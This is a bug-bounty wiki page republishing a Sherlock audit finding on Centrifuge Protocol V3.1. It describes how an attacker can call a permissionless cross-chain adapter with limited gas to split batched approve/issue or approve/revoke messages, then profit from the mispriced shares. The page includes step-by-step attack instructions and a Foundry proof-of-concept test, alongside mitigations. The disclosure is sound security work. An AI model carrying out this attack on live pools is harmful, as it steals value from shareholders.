Skip to content
Business logic Audit finding Advanced

Gas engineering during `adapter` execution can be used to maliciously split critical message batches

The AxelarAdapter's execute function is permissionless and accepts any gas amount, allowing an attacker to call it with just enough gas to process only the first message in a batched approve+issue or approve+revoke sequence. This partial execution leaves the pool's assets and shares imbalanced, which can be exploited to manipulate share price and steal value from existing shareholders.

0x52 Follow with 0xeix and typicalHuman

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit-judging/issues/714

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0x52, 0xeix, typicalHuman

Summary

An attacker can maliciously split batched messages that must execute atomically by providing a targeted gas amount during cross-chain message delivery. Pool managers are expected to use batched multicalls to send approve and issue messages together to maintain pool accounting integrity, but the AxelarAdapter lacks access controls and gas validation, allowing anyone to execute these batches with controlled gas amounts that cause only partial execution. This breaks the protocol's documented assumption that these operations are atomic, leading to asset/share imbalances that corrupt SimplePriceManager calculations.

Root Cause

AxelarAdapter.sol#L67-L84 - The execute() function is permissionless and accepts any gas amount without validation, allowing attackers to control execution conditions

Vulnerability Detail

Pool managers are expected to use a batchedMulticall on the BatchRequestManager to send these operations together atomically. The approveDeposits() function sends the approve message:

BatchRequestManager.sol#L243-L245

Solidity
bytes memory callback =
    RequestCallbackMessageLib.ApprovedDeposits(approvedAssetAmount, pricePoolPerAsset.raw()).serialize();
hub.requestCallback{value: msgValue()}(poolId, scId_, depositAssetId, callback, 0, refund);

The issueShares() function sends the issue message:

BatchRequestManager.sol#L325-L327

Solidity
bytes memory callback =
    RequestCallbackMessageLib.IssuedShares(issuedShareAmount, pricePoolPerShare.raw()).serialize();
hub.requestCallback{value: msgValue()}(poolId, scId_, depositAssetId, callback, extraGasLimit, refund);

Pool managers must batch both function calls using Gateway.withBatch() to ensure the messages travel together to the destination chain. However, the AxelarAdapter that receives and executes these messages has no access control:

AxelarAdapter.sol#L67-L84

Solidity
function execute(
    bytes32 commandId,
    string calldata sourceAxelarId,
    string calldata sourceAddress,
    bytes calldata payload
) public {
    AxelarSource memory source = sources[sourceAxelarId];
    require(
        source.addressHash != bytes32("") && source.addressHash == keccak256(bytes(sourceAddress)), InvalidAddress()
    );

    require(
        axelarGateway.validateContractCall(commandId, sourceAxelarId, sourceAddress, keccak256(payload)),
        NotApprovedByGateway()
    );

    entrypoint.handle(source.centrifugeId, payload);
}

The function is public with no access modifiers, allowing anyone to call it. The adapter forwards the message to the MultiAdatpter -> Gateway which processes batched messages individually:

Gateway.sol#L98-L123

Solidity
function handle(uint16 centrifugeId, bytes memory batch) public pauseable auth {
    PoolId batchPoolId = processor.messagePoolId(batch);
    bytes memory remaining = batch;

    while (remaining.length > 0) {
        uint256 length = processor.messageLength(remaining);
        bytes memory message = remaining.slice(0, length);

        // ... validation ...

        require(gasleft() > GAS_FAIL_MESSAGE_STORAGE, NotEnoughGasToProcess());

        try processor.handle{gas: gasleft() - GAS_FAIL_MESSAGE_STORAGE}(centrifugeId, message) {
            emit ExecuteMessage(centrifugeId, message, messageHash);
        } catch (bytes memory err) {
            failedMessages[centrifugeId][messageHash]++;
            emit FailMessage(centrifugeId, message, messageHash, err);
        }
    }
}

The Gateway processes each message in a try-catch block. When a message fails due to insufficient gas, it gets stored in failedMessages rather than reverting the entire batch. This allows partial execution where some messages succeed while others fail.

The most damaging exploitation occurs with sync vaults when splitting approve and revoke messages for redeems:

  1. Monitor for approve+revoke redeem message batches sent by pool managers
  2. Call AxelarAdapter.execute() with gas sufficient only for the approve message
  3. The approve succeeds, removing assets from the pool and sending them to redeemers
  4. The revoke fails and gets stored in failedMessages, leaving shares un-burned
  5. Pool now has fewer assets but the same number of shares, artificially lowering share price
  6. Attacker immediately deposits through the sync vault at the manipulated low price
  7. Attacker receives significantly more shares than they should for their deposit amount

This attack is particularly effective because sync vaults allow immediate deposits at the corrupted price, enabling instant profit extraction.

Proof of Concept

Add the following file to protocol/test:

Solidity
pragma solidity 0.8.28;

import "./core/spoke/integration/BaseTest.sol";
import {RequestCallbackMessageLib} from "../src/vaults/libraries/RequestCallbackMessageLib.sol";
import {MessageLib} from "../src/core/messaging/libraries/MessageLib.sol";
import {AssetId} from "../src/core/types/AssetId.sol";
import {ShareClassId} from "../src/core/types/ShareClassId.sol";
import {VaultKind} from "../src/core/spoke/interfaces/IVault.sol";
import {AsyncVault} from "../src/vaults/AsyncVault.sol";
import {D18, d18} from "../src/misc/types/D18.sol";
import "forge-std/console.sol";

/**
 * @notice POC demonstrating batch splitting attack
 * Even though BatchRequestManager sends approve+issue together,
 * insufficient gas can cause only approve to execute while issue fails
 */
contract SplitBatchImbalanceTest is BaseTest {
    using RequestCallbackMessageLib for *;
    using MessageLib for *;

    ShareClassId defaultTypedShareClassId;
    address public testInvestor = makeAddr("testInvestor");
    address vaultAddress;
    AssetId assetId;

    uint128 constant DEPOSIT_AMOUNT = 1000e6;

    function setUp() public override {
        super.setUp();

        defaultTypedShareClassId = ShareClassId.wrap(defaultShareClassId);
        balanceSheet.updateManager(POOL_A, address(asyncRequestManager), true);

        // Deploy vault
        (, address deployedVault, uint128 createdAssetId) = deployVault(
            VaultKind.Async,
            6,
            address(fullRestrictionsHook),
            defaultShareClassId,
            address(erc20),
            erc20TokenId,
            THIS_CHAIN_ID
        );
        vaultAddress = deployedVault;
        assetId = AssetId.wrap(createdAssetId);

        // Fund investor and create deposit
        erc20.mint(testInvestor, DEPOSIT_AMOUNT);
        centrifugeChain.updateMember(POOL_A.raw(), defaultShareClassId, testInvestor, type(uint64).max);

        vm.startPrank(testInvestor);
        erc20.approve(vaultAddress, DEPOSIT_AMOUNT);
        AsyncVault(vaultAddress).requestDeposit(DEPOSIT_AMOUNT, testInvestor, testInvestor);
        vm.stopPrank();
    }

    /**
     * POC: Split batch by supplying insufficient gas
     * This shows approve succeeds but issue fails and gets stored
     */
    /// forge-config: default.isolate = true
    function testSplitBatchWithInsufficientGas() public {
        console.log("\n=== BATCH SPLITTING ATTACK ===\n");

        // Create the batched approve+issue messages (as BatchRequestManager would)
        uint128 approvedAmount = DEPOSIT_AMOUNT;
        D18 pricePoolPerAsset = d18(1e18);
        D18 pricePoolPerShare = d18(1e18);

        bytes memory approveCallback = RequestCallbackMessageLib.ApprovedDeposits(
            approvedAmount,
            pricePoolPerAsset.raw()
        ).serialize();

        bytes memory issueCallback = RequestCallbackMessageLib.IssuedShares(
            approvedAmount,
            pricePoolPerShare.raw()
        ).serialize();

        bytes memory approveMessage = MessageLib.RequestCallback(
            POOL_A.raw(),
            defaultShareClassId,
            assetId.raw(),
            approveCallback
        ).serialize();

        bytes memory issueMessage = MessageLib.RequestCallback(
            POOL_A.raw(),
            defaultShareClassId,
            assetId.raw(),
            issueCallback
        ).serialize();

        // Batch them together
        bytes memory batchedMessage = bytes.concat(approveMessage, issueMessage);
        bytes32 issueMessageHash = keccak256(issueMessage);

        console.log("Created batch with approve+issue paired:");
        console.log("  Total batch size:", batchedMessage.length, "bytes");
        console.log("  Message 1 (approve):", approveMessage.length, "bytes");
        console.log("  Message 2 (issue):", issueMessage.length, "bytes");

        // Check state before
        (uint128 assetsBefore,) = balanceSheet.queuedAssets(POOL_A, defaultTypedShareClassId, assetId);
        uint256 failedCountBefore = gateway.failedMessages(OTHER_CHAIN_ID, issueMessageHash);

        console.log("\nBefore execution:");
        console.log("  Queued assets:", assetsBefore);
        console.log("  Failed message count for issue:", failedCountBefore);

        // Execute with limited gas - enough for approve but not for both
        // We'll use vm.prank with gas limit to control gas available
        console.log("\nExecuting batch with LIMITED GAS...");

        // Supply 480k gas - should be enough for approve (~367k) but not for both (~663k)
        centrifugeChain.execute{gas: 480000}(batchedMessage);

        // Check state after
        (uint128 assetsAfter,) = balanceSheet.queuedAssets(POOL_A, defaultTypedShareClassId, assetId);
        uint256 failedCountAfter = gateway.failedMessages(OTHER_CHAIN_ID, issueMessageHash);

        console.log("\nAfter execution:");
        console.log("  Queued assets:", assetsAfter);
        console.log("  Assets moved:", assetsAfter - assetsBefore);
        console.log("  Failed message count for issue:", failedCountAfter);

        console.log("\n=== RESULTS ===");

        bool approveSucceeded = assetsAfter > assetsBefore;
        bool issueFailed = failedCountAfter > failedCountBefore;

        console.log("Approve succeeded:", approveSucceeded);
        console.log("Issue failed and stored:", issueFailed);

        if (approveSucceeded && issueFailed) {
            console.log("\n*** ATTACK SUCCESSFUL ***");
            console.log("Assets approved WITHOUT shares issued!");
            console.log("Asset/share imbalance created!");
            console.log("SimplePriceManager pricing assumption broken!");
        }

        // Assert the attack worked
        require(approveSucceeded, "Approve should have succeeded");
        require(issueFailed, "Issue should have failed and been stored");
    }
}

Impact

The attack breaks the atomicity of critical message pairs that the protocol explicitly requires to remain paired. When approve/revoke messages are split in pools using sync vaults, attackers can manipulate the share price and immediately exploit it. The approve message executes and removes assets from the pool for redeemers, but when the revoke message fails, the shares that should be burned remain in circulation. This creates an artificial price drop as the pool has fewer assets backing the same number of shares.

The attacker exploits this manipulated price by immediately depositing through the sync vault, receiving significantly more shares than their deposit warrants. They effectively steal value from all existing shareholders by diluting their holdings with underpriced shares. The corrupted asset/share ratio breaks SimplePriceManager calculations as documented in the protocol's known issues:

Prices computed in SimplePriceManager may be off if approve and issue or approve and revoke are called separately, as then assets and shares are imbalanced.

Similarly, splitting approve/issue messages causes assets to be locked in pool escrows without issuing corresponding shares to depositors, permanently removing their access to funds. Both attack vectors corrupt pool accounting and pricing, with the sync vault variant enabling immediate value extraction at the expense of legitimate users.

Critically, this attack is not a result of manager mistake but rather a fundamental flaw in how batch messages are processed. The manager executes exactly as expected by batching their calls together using Gateway.withBatch(). However, there is nothing the manager can do to prevent the out-of-sync messaging once the batch reaches the destination chain. The permissionless AxelarAdapter.execute() allows attackers to bypass the manager's intended atomicity by controlling gas during execution, splitting messages that were correctly batched at the source. This distinguishes the vulnerability from the known issue, which assumes managers fail to batch calls together. Here the manager does everything correctly, but the execution layer permits malicious splitting.

Code Snippet

AxelarAdapter.sol#L67-L84 Gateway.sol#L98-L123

Tool Used

Manual Review

Recommendation

Several approaches could mitigate this vulnerability:

Gas Requirements in Payload: The AxelarAdapter could be modified to include expected gas requirements in the message payload when sending. Upon receiving, the adapter would validate that sufficient gas is provided before executing, ensuring the entire batch can be processed atomically.

Keeper System: Transition to a keeper-based execution model where only trusted keepers can trigger message execution.

The original report as published on Sherlock, by 0x52. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The attack could break the atomicity of critical message pairs, allowing an attacker to manipulate share price and steal value from existing shareholders by depositing at an artificially low price.

What the attacker needed

Pool uses sync vaults; Manager sends batched approve+revoke messages; Attacker can call execute with controlled gas

The fix

The `AxelarAdapter` should be modified to include expected gas requirements in the message payload and validate that sufficient gas is provided before executing, or a keeper-based execution model should be used.

How it was found

  1. Monitor for approve+revoke redeem message batches sent by pool managers
  2. Call `AxelarAdapter.execute()` with gas sufficient only for the approve message
  3. The approve succeeds, removing assets from the pool and sending them to redeemers
  4. The revoke fails and gets stored in `failedMessages`, leaving shares un-burned
  5. Pool now has fewer assets but the same number of shares, artificially lowering share price
  6. Attacker immediately deposits through the sync vault at the manipulated low price

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a pool manager sends two linked instructions (like 'approve deposit' and 'issue shares') together, they are supposed to succeed or fail as a pair. The function that delivers these instructions can be called by anyone and lets the caller choose how much processing power (gas) to give it. By giving just enough gas for the first instruction but not the second, an attacker can make only half of the pair happen, leaving the pool's accounting wrong.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0x52

View all

211 more disclosed reports, best first.

More from Centrifuge Protocol V3.1

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.